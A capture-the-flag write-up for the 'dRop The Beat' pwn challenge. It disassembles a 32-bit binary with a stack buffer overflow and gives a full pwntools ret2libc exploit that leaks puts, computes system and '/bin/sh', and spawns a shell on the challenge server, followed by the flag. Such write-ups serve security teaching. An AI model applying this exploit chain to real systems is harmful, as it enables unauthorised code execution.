Writeup: Newbie 2019 - dRop The Beat

(Updated: )
writeups
, , , ,

Information

  • category : pwn
  • points : 845

Description

dRop the Beat DJ!!

nc prob.vulnerable.kr 20002

File : drop_the_beat_easy, libc.so.6

Writeup

Let’s analyze the security protections of the binary (drop_the_beat_easy).

1
2
3
4
5
6
$ checksec --file drop_the_beat_easy 
	Arch:     i386-32-little
	RELRO:    Partial RELRO
	Stack:    No canary found
	NX:       NX enabled
	PIE:      No PIE (0x8048000)

NX enabled and the binary is compiled for 32 bit intel. We need to “rop” :D.

But first, reversing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ r2 -d drop_the_beat_easy
[0xf7f55120]> aaa
[0xf7f55120]> afl
0x08048440    1 33           entry0
0x08048400    1 6            sym.imp.__libc_start_main
0x08048480    4 43           sym.deregister_tm_clones
0x080484b0    4 53           sym.register_tm_clones
0x080484f0    3 30           entry.fini0
0x08048510    4 43   -> 40   entry.init0
0x080486e0    1 2            sym.__libc_csu_fini
0x08048470    1 4            sym.__x86.get_pc_thunk.bx
0x080486e4    1 20           sym._fini
0x08048680    4 93           sym.__libc_csu_init
0x0804853b    4 313          main
0x08048410    1 6            sym.imp.setvbuf
0x080483e0    1 6            sym.imp.puts
0x08048420    1 6            sym.imp.__isoc99_scanf
0x080483d0    1 6            sym.imp.read
0x080483f0    1 6            sym.imp.exit
0x08048398    3 35           sym._init
[0xf7f55120]> s main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[0x0804853b]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address

undefined4 main(void)
{
    undefined4 uVar1;
    int32_t var_68h;
    int32_t var_64h;
    
    sym.imp.setvbuf(_reloc.stdout_68, 0, 2, 0);
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
	sym.imp.puts("[..] STUFF [..]")
	sym.imp.puts(0x80489f3);
    sym.imp.puts("dROP The beat(easy version)");
    sym.imp.puts(0x80489f3);
    sym.imp.puts("1) Give Him a Beat!");
    sym.imp.puts("2) No Beat For You..!");
    sym.imp.__isoc99_scanf(0x8048a3a, &var_68h);
    if (var_68h == 1) {
        sym.imp.puts("Give Me a Beat!!");
        sym.imp.read(0, &var_64h, 300);
        sym.imp.puts(&var_64h);
        sym.imp.puts("Wow... That\'s AWESOME!");
        uVar1 = 0;
    } else {
        sym.imp.puts(":( Sorry, You Can\'t be with us...");
        uVar1 = sym.imp.exit(1);
    }
    return uVar1;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
[0x0804853b]> pdf
/ (fcn) main 313
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_68h @ ebp-0x68
|           ; var int32_t var_64h @ ebp-0x64
|           ; DATA XREF from entry0 @ 0x8048457
|           0x0804853b      55             push ebp
|           0x0804853c      89e5           mov ebp, esp
|           0x0804853e      83ec68         sub esp, 0x68
|           0x08048541      a144a00408     mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0
|                                                                      ; [0x804a044:4]=0                                                                                      
|           0x08048546      6a00           push 0
|           0x08048548      6a02           push 2                      ; 2
|           0x0804854a      6a00           push 0
|           0x0804854c      50             push eax
|           0x0804854d      e8befeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048552      83c410         add esp, 0x10
|           0x08048555      a140a00408     mov eax, dword [obj.stdin]  ; obj.stdin__GLIBC_2.0
|                                                                      ; [0x804a040:4]=0                                                                                      
|           0x0804855a      6a00           push 0
|           0x0804855c      6a02           push 2                      ; 2
|           0x0804855e      6a00           push 0
|           0x08048560      50             push eax
|           0x08048561      e8aafeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048566      83c410         add esp, 0x10
|           0x080485bc      e81ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485ce      83c404         add esp, 4
|           0x080485d1      68f4890408     push str.dROP_The_beat_easy_version ; 0x80489f4 ; "dROP The beat(easy version)"
|           0x080485d6      e805feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485db      83c404         add esp, 4
|           0x080485de      68f3890408     push 0x80489f3
|           0x080485e3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485e8      83c404         add esp, 4
|           0x080485eb      68108a0408     push str.1__Give_Him_a_Beat ; 0x8048a10 ; "1) Give Him a Beat!"
|           0x080485f0      e8ebfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485f5      83c404         add esp, 4
|           0x080485f8      68248a0408     push str.2__No_Beat_For_You.. ; 0x8048a24 ; "2) No Beat For You..!"
|           0x080485fd      e8defdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048602      83c404         add esp, 4
|           0x08048605      8d4598         lea eax, [var_68h]
|           0x08048608      50             push eax
|           0x08048609      683a8a0408     push 0x8048a3a
|           0x0804860e      e80dfeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x08048613      83c408         add esp, 8
|           0x08048616      8b4598         mov eax, dword [var_68h]
|           0x08048619      83f801         cmp eax, 1                  ; 1
|       ,=< 0x0804861c      7540           jne 0x804865e
|       |   0x0804861e      683d8a0408     push str.Give_Me_a_Beat     ; 0x8048a3d ; "Give Me a Beat!!"
|       |   0x08048623      e8b8fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048628      83c404         add esp, 4
|       |   0x0804862b      682c010000     push 0x12c                  ; 300
|       |   0x08048630      8d459c         lea eax, [var_64h]
|       |   0x08048633      50             push eax
|       |   0x08048634      6a00           push 0
|       |   0x08048636      e895fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|       |   0x0804863b      83c40c         add esp, 0xc
|       |   0x0804863e      8d459c         lea eax, [var_64h]
|       |   0x08048641      50             push eax
|       |   0x08048642      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048647      83c404         add esp, 4
|       |   0x0804864a      684e8a0408     push str.Wow..._That_s_AWESOME ; 0x8048a4e ; "Wow... That's AWESOME!"
|       |   0x0804864f      e88cfdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048654      83c404         add esp, 4
|       |   0x08048657      b800000000     mov eax, 0
|      ,==< 0x0804865c      eb14           jmp 0x8048672
|      |`-> 0x0804865e      68688a0408     push str.:__Sorry__You_Can_t_be_with_us... ; 0x8048a68 ; ":( Sorry, You Can't be with us..."
|      |    0x08048663      e878fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x08048668      83c404         add esp, 4
|      |    0x0804866b      6a01           push 1                      ; 1
|      |    0x0804866d      e87efdffff     call sym.imp.exit           ; void exit(int status)
|      |    ; CODE XREF from main @ 0x804865c
|      `--> 0x08048672      c9             leave
\           0x08048673      c3             ret

Ok, we have the usual buffer which is 100 bytes long –> [ebp-0x64], and
the program issues a read of 300 bytes, so classic stack-based buffer overflow.
To overwrite the return address we just need to insert 100(buffer) + 4(ebp)
bytes.

Problem

We need to know the address of system in order to call system('/bin/sh').

How can we do it?

Because the puts function is executed more than one time, in the GOT section
there will be its effective address.
We can print that value using puts@plt.

After that?

Well main is just a function, we can execute it multiple times.
The second time that the main will run, we will know the address of puts in
memory, using that address we can compute the address of system and /bin/sh.

Tell me how.

We have the libc.so.6 used by the binary. If we substract from the address of
puts the symbol puts in the libc we know where the libc base is in memory.
From there, we can add to the libc base address the symbol of system in the
libc to find the effective address of system.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

from pwn import process, remote, context, ELF, p32, u32, log

class Attack:

    def __init__(self, conn, debug):
        if conn == 'local':
            self.conn = process('./drop_the_beat_easy')
        else:
            self.conn = remote('prob.vulnerable.kr', 20002)
        if debug == True:
            context.log_level = 'debug'
        self.drop = ELF('./drop_the_beat_easy', False)
        self.libc = ELF('./libc.so.6', False)

    def first_stage(self):
        puts_plt = p32(self.drop.plt['puts'])
        puts_got = p32(self.drop.got['puts'])
        main = p32(self.drop.sym['main'])
        payload = b'a' * 104 + puts_plt + main + puts_got
        self.conn.recvuntil(b'You..!')
        self.conn.sendline(b'1')
        self.conn.recvuntil(b'!!')
        self.conn.sendline(payload)
        self.conn.recvuntil('AWESOME!\n')
        return u32(self.conn.recv(4))

    def second_stage(self, puts):
        libc_base = puts - self.libc.sym['puts']
        system = p32(libc_base + self.libc.sym['system'])
        sh = p32(libc_base + next(self.libc.search(b'/bin/sh')))
        log.info("puts :      " + str(hex(puts)[2:]))
        log.info("libc base : " + str(hex(libc_base)[2:]))
        log.info("system :    " + system[::-1].hex())
        log.info("/bin/sh :   " + sh[::-1].hex())
        self.conn.recvuntil(b'You..!')
        self.conn.sendline(b'1')
        self.conn.recvuntil(b'!!')
        payload = b'a' * 104 + system + b'BBBB' + sh
        self.conn.sendline(payload)
        self.conn.interactive()

def main():
    attack = Attack('remote', False)
    puts = attack.first_stage()
    attack.second_stage(puts)

if __name__ == '__main__':
    main()

Launch the exploit

Flag

`KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}`